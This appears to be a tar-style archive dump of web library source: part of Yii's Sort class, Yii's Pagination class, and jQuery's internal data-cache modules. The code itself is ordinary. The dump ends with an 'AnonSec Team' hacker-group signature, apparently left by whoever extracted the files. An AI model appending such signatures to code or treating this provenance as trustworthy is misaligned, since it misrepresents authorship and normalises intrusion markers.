            $direction = isset($definition['default']) ? $definition['default'] : SORT_ASC;
        }

        if ($this->enableMultiSort) {
            $directions = array_merge([$attribute => $direction], $directions);
        } else {
            $directions = [$attribute => $direction];
        }

        $sorts = [];
        foreach ($directions as $attribute => $direction) {
            $sorts[] = $direction === SORT_DESC ? '-' . $attribute : $attribute;
        }

        return implode($this->separator, $sorts);
    }

    /**
     * Returns a value indicating whether the sort definition supports sorting by the named attribute.
     * @param string $name the attribute name
     * @return boolean whether the sort definition supports sorting by the named attribute.
     */
    public function hasAttribute($name)
    {
        return isset($this->attributes[$name]);
    }
}
Pagination.php000066600000031603151456237120007363 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\data;

use Yii;
use yii\base\Object;
use yii\web\Link;
use yii\web\Linkable;
use yii\web\Request;

/**
 * Pagination represents information relevant to pagination of data items.
 *
 * When data needs to be rendered in multiple pages, Pagination can be used to
 * represent information such as [[totalCount|total item count]], [[pageSize|page size]],
 * [[page|current page]], etc. These information can be passed to [[\yii\widgets\LinkPager|pagers]]
 * to render pagination buttons or links.
 *
 * The following example shows how to create a pagination object and feed it
 * to a pager.
 *
 * Controller action:
 *
 * ```php
 * function actionIndex()
 * {
 *     $query = Article::find()->where(['status' => 1]);
 *     $countQuery = clone $query;
 *     $pages = new Pagination(['totalCount' => $countQuery->count()]);
 *     $models = $query->offset($pages->offset)
 *         ->limit($pages->limit)
 *         ->all();
 *
 *     return $this->render('index', [
 *          'models' => $models,
 *          'pages' => $pages,
 *     ]);
 * }
 * ```
 *
 * View:
 *
 * ```php
 * foreach ($models as $model) {
 *     // display $model here
 * }
 *
 * // display pagination
 * echo LinkPager::widget([
 *     'pagination' => $pages,
 * ]);
 * ```
 *
 * @property integer $limit The limit of the data. This may be used to set the LIMIT value for a SQL statement
 * for fetching the current page of data. Note that if the page size is infinite, a value -1 will be returned.
 * This property is read-only.
 * @property array $links The links for navigational purpose. The array keys specify the purpose of the links
 * (e.g. [[LINK_FIRST]]), and the array values are the corresponding URLs. This property is read-only.
 * @property integer $offset The offset of the data. This may be used to set the OFFSET value for a SQL
 * statement for fetching the current page of data. This property is read-only.
 * @property integer $page The zero-based current page number.
 * @property integer $pageCount Number of pages. This property is read-only.
 * @property integer $pageSize The number of items per page. If it is less than 1, it means the page size is
 * infinite, and thus a single page contains all items.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class Pagination extends Object implements Linkable
{
    const LINK_NEXT = 'next';
    const LINK_PREV = 'prev';
    const LINK_FIRST = 'first';
    const LINK_LAST = 'last';

    /**
     * @var string name of the parameter storing the current page index.
     * @see params
     */
    public $pageParam = 'page';
    /**
     * @var string name of the parameter storing the page size.
     * @see params
     */
    public $pageSizeParam = 'per-page';
    /**
     * @var boolean whether to always have the page parameter in the URL created by [[createUrl()]].
     * If false and [[page]] is 0, the page parameter will not be put in the URL.
     */
    public $forcePageParam = true;
    /**
     * @var string the route of the controller action for displaying the paged contents.
     * If not set, it means using the currently requested route.
     */
    public $route;
    /**
     * @var array parameters (name => value) that should be used to obtain the current page number
     * and to create new pagination URLs. If not set, all parameters from $_GET will be used instead.
     *
     * In order to add hash to all links use `array_merge($_GET, ['#' => 'my-hash'])`.
     *
     * The array element indexed by [[pageParam]] is considered to be the current page number (defaults to 0);
     * while the element indexed by [[pageSizeParam]] is treated as the page size (defaults to [[defaultPageSize]]).
     */
    public $params;
    /**
     * @var \yii\web\UrlManager the URL manager used for creating pagination URLs. If not set,
     * the "urlManager" application component will be used.
     */
    public $urlManager;
    /**
     * @var boolean whether to check if [[page]] is within valid range.
     * When this property is true, the value of [[page]] will always be between 0 and ([[pageCount]]-1).
     * Because [[pageCount]] relies on the correct value of [[totalCount]] which may not be available
     * in some cases (e.g. MongoDB), you may want to set this property to be false to disable the page
     * number validation. By doing so, [[page]] will return the value indexed by [[pageParam]] in [[params]].
     */
    public $validatePage = true;
    /**
     * @var integer total number of items.
     */
    public $totalCount = 0;
    /**
     * @var integer the default page size. This property will be returned by [[pageSize]] when page size
     * cannot be determined by [[pageSizeParam]] from [[params]].
     */
    public $defaultPageSize = 20;
    /**
     * @var array|false the page size limits. The first array element stands for the minimal page size, and the second
     * the maximal page size. If this is false, it means [[pageSize]] should always return the value of [[defaultPageSize]].
     */
    public $pageSizeLimit = [1, 50];

    /**
     * @var integer number of items on each page.
     * If it is less than 1, it means the page size is infinite, and thus a single page contains all items.
     */
    private $_pageSize;


    /**
     * @return integer number of pages
     */
    public function getPageCount()
    {
        $pageSize = $this->getPageSize();
        if ($pageSize < 1) {
            return $this->totalCount > 0 ? 1 : 0;
        } else {
            $totalCount = $this->totalCount < 0 ? 0 : (int) $this->totalCount;

            return (int) (($totalCount + $pageSize - 1) / $pageSize);
        }
    }

    private $_page;

    /**
     * Returns the zero-based current page number.
     * @param boolean $recalculate whether to recalculate the current page based on the page size and item count.
     * @return integer the zero-based current page number.
     */
    public function getPage($recalculate = false)
    {
        if ($this->_page === null || $recalculate) {
            $page = (int) $this->getQueryParam($this->pageParam, 1) - 1;
            $this->setPage($page, true);
        }

        return $this->_page;
    }

    /**
     * Sets the current page number.
     * @param integer $value the zero-based index of the current page.
     * @param boolean $validatePage whether to validate the page number. Note that in order
     * to validate the page number, both [[validatePage]] and this parameter must be true.
     */
    public function setPage($value, $validatePage = false)
    {
        if ($value === null) {
            $this->_page = null;
        } else {
            $value = (int) $value;
            if ($validatePage && $this->validatePage) {
                $pageCount = $this->getPageCount();
                if ($value >= $pageCount) {
                    $value = $pageCount - 1;
                }
            }
            if ($value < 0) {
                $value = 0;
            }
            $this->_page = $value;
        }
    }

    /**
     * Returns the number of items per page.
     * By default, this method will try to determine the page size by [[pageSizeParam]] in [[params]].
     * If the page size cannot be determined this way, [[defaultPageSize]] will be returned.
     * @return integer the number of items per page. If it is less than 1, it means the page size is infinite,
     * and thus a single page contains all items.
     * @see pageSizeLimit
     */
    public function getPageSize()
    {
        if ($this->_pageSize === null) {
            if (empty($this->pageSizeLimit)) {
                $pageSize = $this->defaultPageSize;
                $this->setPageSize($pageSize);
            } else {
                $pageSize = (int) $this->getQueryParam($this->pageSizeParam, $this->defaultPageSize);
                $this->setPageSize($pageSize, true);
            }
        }

        return $this->_pageSize;
    }

    /**
     * @param integer $value the number of items per page.
     * @param boolean $validatePageSize whether to validate page size.
     */
    public function setPageSize($value, $validatePageSize = false)
    {
        if ($value === null) {
            $this->_pageSize = null;
        } else {
            $value = (int) $value;
            if ($validatePageSize && isset($this->pageSizeLimit[0], $this->pageSizeLimit[1]) && count($this->pageSizeLimit) === 2) {
                if ($value < $this->pageSizeLimit[0]) {
                    $value = $this->pageSizeLimit[0];
                } elseif ($value > $this->pageSizeLimit[1]) {
                    $value = $this->pageSizeLimit[1];
                }
            }
            $this->_pageSize = $value;
        }
    }

    /**
     * Creates the URL suitable for pagination with the specified page number.
     * This method is mainly called by pagers when creating URLs used to perform pagination.
     * @param integer $page the zero-based page number that the URL should point to.
     * @param integer $pageSize the number of items on each page. If not set, the value of [[pageSize]] will be used.
     * @param boolean $absolute whether to create an absolute URL. Defaults to `false`.
     * @return string the created URL
     * @see params
     * @see forcePageParam
     */
    public function createUrl($page, $pageSize = null, $absolute = false)
    {
        $page = (int) $page;
        $pageSize = (int) $pageSize;
        if (($params = $this->params) === null) {
            $request = Yii::$app->getRequest();
            $params = $request instanceof Request ? $request->getQueryParams() : [];
        }
        if ($page > 0 || $page >= 0 && $this->forcePageParam) {
            $params[$this->pageParam] = $page + 1;
        } else {
            unset($params[$this->pageParam]);
        }
        if ($pageSize <= 0) {
            $pageSize = $this->getPageSize();
        }
        if ($pageSize != $this->defaultPageSize) {
            $params[$this->pageSizeParam] = $pageSize;
        } else {
            unset($params[$this->pageSizeParam]);
        }
        $params[0] = $this->route === null ? Yii::$app->controller->getRoute() : $this->route;
        $urlManager = $this->urlManager === null ? Yii::$app->getUrlManager() : $this->urlManager;
        if ($absolute) {
            return $urlManager->createAbsoluteUrl($params);
        } else {
            return $urlManager->createUrl($params);
        }
    }

    /**
     * @return integer the offset of the data. This may be used to set the
     * OFFSET value for a SQL statement for fetching the current page of data.
     */
    public function getOffset()
    {
        $pageSize = $this->getPageSize();

        return $pageSize < 1 ? 0 : $this->getPage() * $pageSize;
    }

    /**
     * @return integer the limit of the data. This may be used to set the
     * LIMIT value for a SQL statement for fetching the current page of data.
     * Note that if the page size is infinite, a value -1 will be returned.
     */
    public function getLimit()
    {
        $pageSize = $this->getPageSize();

        return $pageSize < 1 ? -1 : $pageSize;
    }

    /**
     * Returns a whole set of links for navigating to the first, last, next and previous pages.
     * @param boolean $absolute whether the generated URLs should be absolute.
     * @return array the links for navigational purpose. The array keys specify the purpose of the links (e.g. [[LINK_FIRST]]),
     * and the array values are the corresponding URLs.
     */
    public function getLinks($absolute = false)
    {
        $currentPage = $this->getPage();
        $pageCount = $this->getPageCount();
        $links = [
            Link::REL_SELF => $this->createUrl($currentPage, null, $absolute),
        ];
        if ($currentPage > 0) {
            $links[self::LINK_FIRST] = $this->createUrl(0, null, $absolute);
            $links[self::LINK_PREV] = $this->createUrl($currentPage - 1, null, $absolute);
        }
        if ($currentPage < $pageCount - 1) {
            $links[self::LINK_NEXT] = $this->createUrl($currentPage + 1, null, $absolute);
            $links[self::LINK_LAST] = $this->createUrl($pageCount - 1, null, $absolute);
        }

        return $links;
    }

    /**
     * Returns the value of the specified query parameter.
     * This method returns the named parameter value from [[params]]. Null is returned if the value does not exist.
     * @param string $name the parameter name
     * @param string $defaultValue the value to be returned when the specified parameter does not exist in [[params]].
     * @return string the parameter value
     */
    protected function getQueryParam($name, $defaultValue = null)
    {
        if (($params = $this->params) === null) {
            $request = Yii::$app->getRequest();
            $params = $request instanceof Request ? $request->getQueryParams() : [];
        }

        return isset($params[$name]) && is_scalar($params[$name]) ? $params[$name] : $defaultValue;
    }
}
var/acceptData.js000066600000000503151456402740007735 0ustar00define( function() {

/**
 * Determines whether an object can have data
 */
return function( owner ) {

	// Accepts only:
	//  - Node
	//    - Node.ELEMENT_NODE
	//    - Node.DOCUMENT_NODE
	//  - Object
	//    - Any
	/* jshint -W018 */
	return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
};

} );
var/dataPriv.js000066600000000104151456402740007453 0ustar00define( [
	"../Data"
], function( Data ) {
	return new Data();
} );
var/dataUser.js000066600000000104151456402740007451 0ustar00define( [
	"../Data"
], function( Data ) {
	return new Data();
} );
Data.js000066600000011724151456402740005774 0ustar00define( [
	"../core",
	"../var/rnotwhite",
	"./var/acceptData"
], function( jQuery, rnotwhite, acceptData ) {

function Data() {
	this.expando = jQuery.expando + Data.uid++;
}

Data.uid = 1;

Data.prototype = {

	register: function( owner, initial ) {
		var value = initial || {};

		// If it is a node unlikely to be stringify-ed or looped over
		// use plain assignment
		if ( owner.nodeType ) {
			owner[ this.expando ] = value;

		// Otherwise secure it in a non-enumerable, non-writable property
		// configurability must be true to allow the property to be
		// deleted with the delete operator
		} else {
			Object.defineProperty( owner, this.expando, {
				value: value,
				writable: true,
				configurable: true
			} );
		}
		return owner[ this.expando ];
	},
	cache: function( owner ) {

		// We can accept data for non-element nodes in modern browsers,
		// but we should not, see #8335.
		// Always return an empty object.
		if ( !acceptData( owner ) ) {
			return {};
		}

		// Check if the owner object already has a cache
		var value = owner[ this.expando ];

		// If not, create one
		if ( !value ) {
			value = {};

			// We can accept data for non-element nodes in modern browsers,
			// but we should not, see #8335.
			// Always return an empty object.
			if ( acceptData( owner ) ) {

				// If it is a node unlikely to be stringify-ed or looped over
				// use plain assignment
				if ( owner.nodeType ) {
					owner[ this.expando ] = value;

				// Otherwise secure it in a non-enumerable property
				// configurable must be true to allow the property to be
				// deleted when data is removed
				} else {
					Object.defineProperty( owner, this.expando, {
						value: value,
						configurable: true
					} );
				}
			}
		}

		return value;
	},
	set: function( owner, data, value ) {
		var prop,
			cache = this.cache( owner );

		// Handle: [ owner, key, value ] args
		if ( typeof data === "string" ) {
			cache[ data ] = value;

		// Handle: [ owner, { properties } ] args
		} else {

			// Copy the properties one-by-one to the cache object
			for ( prop in data ) {
				cache[ prop ] = data[ prop ];
			}
		}
		return cache;
	},
	get: function( owner, key ) {
		return key === undefined ?
			this.cache( owner ) :
			owner[ this.expando ] && owner[ this.expando ][ key ];
	},
	access: function( owner, key, value ) {
		var stored;

		// In cases where either:
		//
		//   1. No key was specified
		//   2. A string key was specified, but no value provided
		//
		// Take the "read" path and allow the get method to determine
		// which value to return, respectively either:
		//
		//   1. The entire cache object
		//   2. The data stored at the key
		//
		if ( key === undefined ||
				( ( key && typeof key === "string" ) && value === undefined ) ) {

			stored = this.get( owner, key );

			return stored !== undefined ?
				stored : this.get( owner, jQuery.camelCase( key ) );
		}

		// When the key is not a string, or both a key and value
		// are specified, set or extend (existing objects) with either:
		//
		//   1. An object of properties
		//   2. A key and value
		//
		this.set( owner, key, value );

		// Since the "set" path can have two possible entry points
		// return the expected data based on which path was taken[*]
		return value !== undefined ? value : key;
	},
	remove: function( owner, key ) {
		var i, name, camel,
			cache = owner[ this.expando ];

		if ( cache === undefined ) {
			return;
		}

		if ( key === undefined ) {
			this.register( owner );

		} else {

			// Support array or space separated string of keys
			if ( jQuery.isArray( key ) ) {

				// If "name" is an array of keys...
				// When data is initially created, via ("key", "val") signature,
				// keys will be converted to camelCase.
				// Since there is no way to tell _how_ a key was added, remove
				// both plain key and camelCase key. #12786
				// This will only penalize the array argument path.
				name = key.concat( key.map( jQuery.camelCase ) );
			} else {
				camel = jQuery.camelCase( key );

				// Try the string as a key before any manipulation
				if ( key in cache ) {
					name = [ key, camel ];
				} else {

					// If a key with the spaces exists, use it.
					// Otherwise, create an array by matching non-whitespace
					name = camel;
					name = name in cache ?
						[ name ] : ( name.match( rnotwhite ) || [] );
				}
			}

			i = name.length;

			while ( i-- ) {
				delete cache[ name[ i ] ];
			}
		}

		// Remove the expando if there's no more data
		if ( key === undefined || jQuery.isEmptyObject( cache ) ) {

			// Support: Chrome <= 35-45+
			// Webkit & Blink performance suffers when deleting properties
			// from DOM nodes, so set to undefined instead
			// https://code.google.com/p/chromium/issues/detail?id=378607
			if ( owner.nodeType ) {
				owner[ this.expando ] = undefined;
			} else {
				delete owner[ this.expando ];
			}
		}
	},
	hasData: function( owner ) {
		var cache = owner[ this.expando ];
		return cache !== undefined && !jQuery.isEmptyObject( cache );
	}
};

return Data;
} );
Anon7 - 2022
AnonSec Team